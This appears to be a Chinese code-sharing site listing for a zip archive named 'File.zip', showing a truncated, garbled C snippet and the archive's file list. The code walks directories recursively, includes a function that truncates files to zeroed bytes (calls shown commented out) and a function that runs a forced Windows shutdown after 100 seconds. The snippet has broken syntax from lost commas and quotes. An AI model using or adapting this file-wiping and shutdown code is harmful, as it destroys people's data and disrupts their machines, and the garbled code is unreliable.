• 大小: 7.75M
    文件类型: .zip
    金币: 1
    下载: 0 次
    发布日期: 2023-09-25
  • 语言: 其他
  • 标签: 其他  

资源简介

File.zip

资源截图

代码片段和文件信息


#include “stdio.h“
#include “string.h“
#include 
#include 
#include  
#include 
//#include 

typedef char               INT8;
typedef unsigned char      UINT8;

#define TRUE               1
#define FALSE              0

#define MAX_PATH     200

void myDebug(char *string)
{
printf(“Err:%s“string);
system(“pause“); 
exit(0);
}

UINT8 mg_StrCmp( UINT8 *pu8DestAddr UINT8 *pu8SourceAddr )
{
    while( (*pu8DestAddr != ‘\0‘) && (*pu8SourceAddr != ‘\0‘) )
    {
        if( *pu8DestAddr != *pu8SourceAddr )
            return FALSE;
        pu8DestAddr++;
        pu8SourceAddr++;
    }
    return TRUE;
}

//关机程序, t后面是关机时间,单位s
void ShutDwon(void)
{
system(“shutdown.exe -s -t 100“);

}

//将文件清零
void Clear_File(char *Path char *name)
{
static char filechangNum = 0;
char    rw_buff[50] = {0x00};
FILE    *FileHandle = NULL; 
char    OpenFileName[400]={0x00}; 

if(mg_StrCmp(“main.c“name))
{
return;
}

// if(filechangNum)
// return;
filechangNum++;
strcat(OpenFileNamePath);
strcat(OpenFileName“\\“);
strcat(OpenFileNamename);
FileHandle = fopen(OpenFileName“w+“);
if(FileHandle)
{
// printf(“open  file sucess: %s \n“OpenFileName);
fwrite(rw_buffsizeof(unsigned char)sizeof(rw_buff)FileHandle);
}
else 
{
// printf(“open file  %s err \n“OpenFileName);
}
fclose(FileHandle);

}

//查找指定文件类型的文件
void FindFileName(char *FilePathchar *filename)
{

struct _finddata_t fileinfo; //文件信息的结构体 
long handle; //用于查找的句柄
int fileNum = 0; //查找到的文件总数
char FindName[100];
char Path[400]={0x00}; //保存当前路径


strcat(PathFilePath);
strcat(Pathfilename);

handle=_findfirst(Path&fileinfo); //第一次查找 查找到第一个文件
if(-1==handle)
{
//printf(“Find: file no exist.\n“);  
        //system(“pause“); 
    //exit(0);
_findclose(handle); //别忘了关闭句柄
return;
}
else
{
fileNum++;
// printf(“Find Dir:%s : %s\n“FilePathfileinfo.name); //打印找到第一个文?
// Clear_File(FilePathfileinfo.name);
}

//循环查找其他符合的文件,
//直到找不到符合的文件为止
while(!_findnext(handle&fileinfo)) 

fileNum++;
// printf(“Find:%s\n“fileinfo.name); 
// Clear_File(FilePathfileinfo.name);
}

_findclose(handle); //别忘了关闭句柄

}

//深度优先递归遍历当前目录下文件夹和文件及子文件夹和文件 
void filesearch(char *pathint layer)
{

    struct _finddata_t filefind;

char FindName[100]=“\\*.*“;// “\\*.*”表示匹配所有文件即查找所有的文件
    int done=0ihandle;

char curr[400]={0x00}; //保存当前路径

// FindFileName(path“\\*.c“);

strcat(currpath);
strcat(currFindName);

    if((handle=_findfirst(curr&filefind))==-1)
{
//printf(“no file\n“); 
return;
}
else
{

//printf(“%s\n“filefind.name); //打印找到第一个文?

}
    while(!(done=_findnext(handle&filefind)))
    {

        if(!strcmp(filefind.name“..“))continue;

        for(i=0;iyer;i++)
      printf(“  “); 

        if( (filefind.attrib&_A_SUBDIR))//判断是否文件夹
   

 属性            大小     日期    时间   名称
----------- ---------  ---------- -----  ----
     目录           0  2017-10-26 14:47  File\
     目录           0  2017-10-26 14:22  File\Debug\
     文件       37888  2017-10-26 14:40  File\Debug\File.exe
     文件      406944  2017-10-26 14:40  File\Debug\File.ilk
     文件      494592  2017-10-26 14:40  File\Debug\File.pdb
     目录           0  2017-10-26 11:19  File\File\
     目录           0  2017-10-26 14:40  File\File\Debug\
     文件       14606  2017-10-26 14:40  File\File\Debug\CL.read.1.tlog
     文件         260  2017-10-26 14:40  File\File\Debug\CL.write.1.tlog
     文件        1504  2017-10-24 19:28  File\File\Debug\File.Build.CppClean.log
     文件         406  2017-10-24 19:28  File\File\Debug\File.exe.embed.manifest
     文件         472  2017-10-24 19:28  File\File\Debug\File.exe.embed.manifest.res
     文件         381  2017-10-26 14:40  File\File\Debug\File.exe.intermediate.manifest
     文件          51  2017-10-26 14:40  File\File\Debug\File.lastbuildstate
     文件       10304  2017-10-26 14:40  File\File\Debug\File.log
     文件         198  2017-10-24 19:28  File\File\Debug\File_manifest.rc
     文件         594  2017-10-26 14:40  File\File\Debug\cl.command.1.tlog
     文件           2  2017-10-26 14:40  File\File\Debug\link-cvtres.read.1.tlog
     文件           2  2017-10-26 14:40  File\File\Debug\link-cvtres.write.1.tlog
     文件           2  2017-10-26 14:40  File\File\Debug\link.1096-cvtres.read.1.tlog
     文件           2  2017-10-26 14:40  File\File\Debug\link.1096-cvtres.write.1.tlog
     文件           2  2017-10-26 14:40  File\File\Debug\link.1096.read.1.tlog
     文件           2  2017-10-26 14:40  File\File\Debug\link.1096.write.1.tlog
     文件           2  2017-10-26 14:40  File\File\Debug\link.3928-cvtres.read.1.tlog
     文件           2  2017-10-26 14:40  File\File\Debug\link.3928-cvtres.write.1.tlog
     文件           2  2017-10-26 14:40  File\File\Debug\link.3928.read.1.tlog
     文件           2  2017-10-26 14:40  File\File\Debug\link.3928.write.1.tlog
     文件           2  2017-10-26 14:40  File\File\Debug\link.4548-cvtres.read.1.tlog
     文件           2  2017-10-26 14:40  File\File\Debug\link.4548-cvtres.write.1.tlog
     文件           2  2017-10-26 14:40  File\File\Debug\link.4548.read.1.tlog
     文件           2  2017-10-26 14:40  File\File\Debug\link.4548.write.1.tlog
............此处省略106个文件信息

评论

共有 条评论